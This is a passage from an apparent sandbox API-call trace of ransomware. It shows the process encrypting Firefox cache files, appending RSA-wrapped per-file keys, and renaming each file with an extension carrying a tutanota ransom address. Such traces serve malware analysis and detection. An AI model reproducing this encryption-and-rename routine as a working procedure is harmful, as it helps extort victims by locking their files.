(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284", dwFileAttributes=0x80) returned 1 [0271.179] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3b030, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0271.366] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.366] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0271.367] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fe [0271.367] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.367] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.368] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.368] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lB+zSIAWfi00Jlo6REv1WgQCt7QT/bjpjh0eYrl670+tJg5wZACy9pNayVzEpCS1\npvRiJaPnFXFcu7Zxe7Mo5K7ONHvPUifCe8k4WLnwEZEA4deR9XMBvrkyeCpp7FDA\nyqMSxIwx7rK8O6OLp7p0vqykFrBKkeEL+VJOeK3z5c/+hIaoZzAoPp09VOdE521y\ntWPwaZpDPTfuXEyjTl4WlM2CYMLH7OInG7Lo/AzMHwjYN9f8h4eksS7ZbcWO15vG\nanLnNJG7tev2l9khpXR9z0HmUlszvoVURNsSSoUWDSznJPoxVtd2XrhIVWneRKQF\noQO2SdQA2+reA6Kgxj2pRQ==\n", pcchString=0x2e3f9a8) returned 1 [0271.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.368] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.368] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.368] CloseHandle (hObject=0x1b84) returned 1 [0271.369] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53fe39fdb590d11dcf5d36416a9314ccabb2c284"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53FE39FDB590D11DCF5D36416A9314CCABB2C284.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53fe39fdb590d11dcf5d36416a9314ccabb2c284.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.370] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.371] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC", dwFileAttributes=0x80) returned 1 [0271.371] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x2bd1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x2bd1, lpOverlapped=0x0) returned 1 [0271.575] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11217, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.575] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e400*, nNumberOfBytesToWrite=0x2bd1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e400*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2bd1, lpOverlapped=0x0) returned 1 [0271.576] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2bd1 [0271.576] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.576] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.577] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EZ9RapCC37/mX7st7EDYIqhiau/itphuCARSG95rtpGkh5Ha6Cdg+s1dhjIQ9aDM\n/zszR3r6gJzTUoe2TvRplT0u6MO4Q/4jB3aYcCwWN3NXOtov/n4XZtkkUFFjs0u3\nrbsMo4YCrjRzzBmzPrwj/7DZltqQkvlefrLXPgVUffHveA0DY4Dp16jd0bzI/Nx5\nQiRyGG57VnZrHrT72iqVpvF19pXcRx4TNsijiXsJkG5tFj/CIAaXuexKcv5RO4ag\nH2X0JhwoolVlHZPkkvEv5qFVy8m1J3MZAKDpWkrCzm6yTLA/+fSUIsI0OUXQmV45\nC1FULqlv4PC6eGzqigemdA==\n", pcchString=0x2e3f9a8) returned 1 [0271.577] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.577] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.578] CloseHandle (hObject=0x1b84) returned 1 [0271.578] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53dae4b1d7bff6744ccaf7207de631267f9883dc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53DAE4B1D7BFF6744CCAF7207DE631267F9883DC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53dae4b1d7bff6744ccaf7207de631267f9883dc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.581] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.581] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85", dwFileAttributes=0x80) returned 1 [0271.581] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0271.643] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.643] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0271.644] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0271.644] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.644] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.645] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.645] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h2wl9Hq6OGBdtXVm0Xkr3iqgwsKHPphvG6Tsq4pggN9MJyK9kt8XkmxAPurTQb0l\nmoDq7IJ4tprq6J+7A3ljOThO4VxouH0cohoPQmyqF6D2mk3GvdrWlO5w3XDriW87\nuRwx93F+SiL3npjdr3YQ9JjP0Zu1Femkqho4t8LmdRVa3EdtI+RCELnSPEi6wABA\nRw04kyekyYYdkzXKED74FQ43K4F5bCMAIwx9zNgQffbg1kTjgcmY7dFfiKTbznw7\nvFgzT8yH6Mgd51NrrR+W86RFY0vxDJf0PHmsWClk73KFqRWUXkeHmgUvMryGTV9i\nfsEiSMu/D8l6DtRbLZDyPA==\n", pcchString=0x2e3f9a8) returned 1 [0271.645] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.645] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.646] CloseHandle (hObject=0x1b84) returned 1 [0271.646] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53276735904df669a90b5f1543e4fbb2a1927e85"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\53276735904DF669A90B5F1543E4FBB2A1927E85.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\53276735904df669a90b5f1543e4fbb2a1927e85.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.648] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.648] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458", dwFileAttributes=0x80) returned 1 [0271.648] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xb6e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xb6e, lpOverlapped=0x0) returned 1 [0271.649] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2926, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.649] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xb6e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb6e, lpOverlapped=0x0) returned 1 [0271.650] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb6e [0271.650] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.650] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.650] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.650] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.651] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Qv0aDOVLXWxcoNn2Y/eQ3fiXUh6lp7AL3QZKX08eeDInR1wLPPschwYjV5b/lZOo\nhXziPwCq84YVO1PfYYP8u196UKJL9iyqNMmkYvAY6TxOFMUqMHLMsj8tvOrQHRqW\nk7WVTVZX8oP6QwPlrvrbf+oaCEoe+6O7nADJvSVuIQcuM1+5qwqjd1hoYzh1RkTm\nxfJo1aS+CgBvNGSeLMRcn+RZlSGcofHCxSHEuOXJ0BpB7IV4AVPwO44iFNiWUE0t\npJcJvuwKTqGqUlouKAJxIA3qwzIPM2uyxullWWIdRiHBDeYXPWCmDQezdW2VPSQ0\noZ+uePc3QBKVU544gBEhBA==\n", pcchString=0x2e3f9a8) returned 1 [0271.651] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.651] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.651] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.651] CloseHandle (hObject=0x1b84) returned 1 [0271.651] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\52da3baa6d4d709b01d171773ad7b03240f54458"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\52DA3BAA6D4D709B01D171773AD7B03240F54458.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\52da3baa6d4d709b01d171773ad7b03240f54458.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.746] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.746] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3", dwFileAttributes=0x80) returned 1 [0271.746] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0271.747] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.747] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0271.748] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfc [0271.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.748] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.749] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TLlAWWlONGEYUnobspkv6AqMaYDoQ2cjCvDigVrVx1bJoLvgaGJd5n+0idPui29G\nMsgYa1FqPK44azD3lJEZ/RRrl4uA/SwxTLDvGkNAxvAU4QgTcGjk0oIt0C1PJeEJ\nFwJ0QZWy28IUkqOb5NFnO9o/0PIiFsoGdAf05znQYeObyvy8+r+0x5Gfk4VaPGVS\nuCl+ArVD360WJaBh2ETcs9SEMdM2AWHrIY+8cM3muCAAcAJ+dd7St6HM+Ra4clzS\nbL6eAKPE4XZs4ndYyWg5B4P+vQMvQMd8dsijYI2t0r2LgVWXUWbGlgpPThzD2X7s\nZ60sL0ZCPssiUFiHQp24gg==\n", pcchString=0x2e3f9a8) returned 1 [0271.749] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.749] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.749] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.749] CloseHandle (hObject=0x1b84) returned 1 [0271.749] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\529cd0d4c166c4989baaba7e5ff50f75fb1d22d3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\529CD0D4C166C4989BAABA7E5FF50F75FB1D22D3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\529cd0d4c166c4989baaba7e5ff50f75fb1d22d3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0271.751] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0271.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\522FF036651FEA29F227BFB14BD934175DDBA62A", dwFileAttributes=0x80) returned 1 [0271.751] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0271.752] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.752] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3b030*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3b030*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0271.753] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe27 [0271.753] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.753] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0271.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0271.753] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0271.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0271.753] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Hu6iyMXGe+tcYSe1yoOdF7gnX37jBVy824Ja0KtGb6kqDsqDAyHkExI0aQc0DYnK\nH41WEzrPXAoVRcfhpL9NgImZR3hIqqTP5CKkaPXEZdFEMEN2TNXn79dnr48dYqtZ\nKGIApmXA9kA2lcfLG0XCAIrBQiNKl19dHQ9SzIt20PcwJTM8dJc61il81UlA9eqc\nj348jaOFSPgcbAhh4kCeXM7S5ZXvjJ8L6XQ+ikJlzb0kpjO8vuvDCi1XYlOZeoJZ\nZKQYgvmwgBP1v2rmRQXp+7zfxX2+vtmeU/gFH05VKHCj8IN/h4owztn9v+kcl9Sz\nTjr99C5VZP0aFHAjWyC0lg==\n", pcchString=0x2e3f9a8) returned 1 [0271.753] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0271.754] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0271.754] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, 